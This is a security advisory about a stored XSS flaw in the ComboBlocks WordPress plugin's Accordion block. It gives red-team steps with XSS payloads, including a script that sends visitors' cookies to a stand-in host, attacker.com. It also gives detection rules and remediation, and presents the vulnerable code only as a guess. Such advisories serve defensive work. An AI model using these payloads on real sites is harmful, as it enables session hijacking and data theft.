CVE-2024-7588

Executive Summary

CVE-2024-7588 is a Stored Cross-Site Scripting (XSS) vulnerability in the WordPress plugin Gutenberg Blocks, Page Builder – ComboBlocks (versions up to and including 2.2.87). The flaw resides in the plugin's Accordion block, where user-supplied attributes are not properly sanitized or escaped. An authenticated attacker with at least contributor-level access can inject arbitrary web scripts. When a victim (including administrators) visits the compromised page, the injected script executes in their browser, potentially leading to session hijacking, defacement, or further compromise.

This vulnerability is part of the WordPress ecosystem and is not related to Apache or Nginx. The plugin is actively used by site builders, making this a significant supply chain risk for WordPress sites.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. The plugin is not an NPM, PyPI, Go, or Ruby package, but it is a critical component of the WordPress supply chain. Users must ensure they are not using a compromised version of the plugin and should monitor for updates from the vendor.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Contributor-level)
• User Interaction: Required (Victim must visit the page)
• Scope: Changed (Impact on other components)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. The requirement for authenticated access reduces the attack surface, but the potential for privilege escalation and site-wide compromise makes this a serious concern for multi-author WordPress sites.

Deep Dive & Mechanics

The vulnerability is a classic Stored XSS in the Accordion block of the ComboBlocks plugin. The block likely accepts user-defined attributes such as title, content, or custom CSS classes. Due to insufficient input sanitization and output escaping, an attacker can inject JavaScript code into these attributes.

Attack Flow:

1. An attacker with contributor-level access (or higher) creates or edits a post/page.
2. They add the ComboBlocks Accordion block.
3. In one of the block's attribute fields (e.g., the title or a custom class), they inject a payload like <img src=x onerror=alert(1)> or <script>alert(1)</script>.
4. The plugin stores this payload in the WordPress database without proper sanitization.
5. When any user (including admins) views the page, the payload executes in their browser.

Why it works: The plugin uses echo or wp_kses incorrectly, or fails to escape output with esc_attr() or esc_html() for the specific attribute. The Accordion block likely renders user input directly into HTML attributes or content without proper context-aware escaping.

Vulnerable vs. Patched Code

Since no official patch is available, we can only infer the vulnerable pattern. The vulnerable code likely looks like:

// Vulnerable pattern in ComboBlocks Accordion block
$title = $attributes['title'];
echo '<div class="accordion-title">' . $title . '</div>';

The patched version should use:

// Patched pattern
$title = esc_html( $attributes['title'] );
echo '<div class="accordion-title">' . $title . '</div>';

Or for attributes used in HTML attributes:

// Vulnerable
echo '<div data-title="' . $title . '">';

// Patched
echo '<div data-title="' . esc_attr( $title ) . '">';

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A WordPress site with ComboBlocks <= 2.2.87 installed and activated.
• An account with at least Contributor-level privileges.

Steps:

1. Log in to WordPress as a Contributor.
2. Create a new post or edit an existing one.
3. Add the ComboBlocks Accordion block.
4. In the block's title field, inject the following payload:

   <img src=x onerror=alert('XSS')>
   

5. Publish or save the post.
6. As an admin or another user, visit the post. The alert box will execute.

Advanced Payload (Session Hijacking):

<script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script>

Blue Team (Detection & Hardening)

Detection:

• Monitor for posts/pages containing suspicious HTML attributes in the post_content field.
• Look for patterns like onerror=, onload=, <script> in block attributes.
• Use the Sigma rule below to detect exploitation attempts in web server logs.

Hardening:

• Restrict contributor-level access to trusted users only.
• Use a Web Application Firewall (WAF) to block common XSS payloads.
• Apply the principle of least privilege: do not grant contributor access to untrusted users.
• If possible, disable the Accordion block until a patch is released.

Indicators of Compromise (IOCs)

• File: wp-content/plugins/comboblocks/ (entire plugin directory)
• Database: Posts/pages containing <script> tags or event handlers (onerror, onload) in block attributes.
• Logs: HTTP requests with XSS payloads in POST data to wp-admin/post.php or wp-admin/admin-ajax.php.
• Network: Outbound connections to attacker-controlled domains from the WordPress server.

Detection Engineering

YARA Rule

rule CVE_2024_7588_ComboBlocks_XSS {
    meta:
        description = "Detects stored XSS payloads in ComboBlocks Accordion block"
        author = "Valters IT"
        date = "2025-01-01"
        reference = "CVE-2024-7588"
    strings:
        $payload1 = /<[^>]*onerror\s*=[^>]*>/i
        $payload2 = /<[^>]*onload\s*=[^>]*>/i
        $payload3 = /<script\b[^>]*>/i
        $payload4 = /javascript\s*:/i
    condition:
        any of ($payload*) and filesize < 10MB
}

Sigma Rule

title: CVE-2024-7588 ComboBlocks Stored XSS Attempt
id: 9a8b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to exploit Stored XSS in ComboBlocks Accordion block
author: Valters IT
date: 2025-01-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 
            - '/wp-admin/post.php'
            - '/wp-admin/admin-ajax.php'
        cs-uri-query|re: 'action=editpost|action=heartbeat'
        cs-uri-query|re: 'post_content.*(onerror|onload|<script|javascript:)'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in posts by trusted authors
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-7588 ComboBlocks Stored XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/post.php"; http_uri; content:"post_content"; http_client_body; pcre:"/(onerror|onload|<script|javascript:)/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the ComboBlocks plugin until a patched version is released.
2. Review all posts/pages created by contributors for suspicious content.
3. Change all WordPress passwords if compromise is suspected.

Long-term Fix:

• The vendor must release a patched version (>= 2.2.88) that properly escapes output in the Accordion block.
• Users should update to the latest version as soon as it is available.

Workarounds:

• Use a security plugin (e.g., Wordfence) to block XSS payloads.
• Implement Content Security Policy (CSP) headers to mitigate script execution.
• Restrict contributor-level access to only trusted users.

Valters IT
DevSecOps & Cyber Threat Intelligence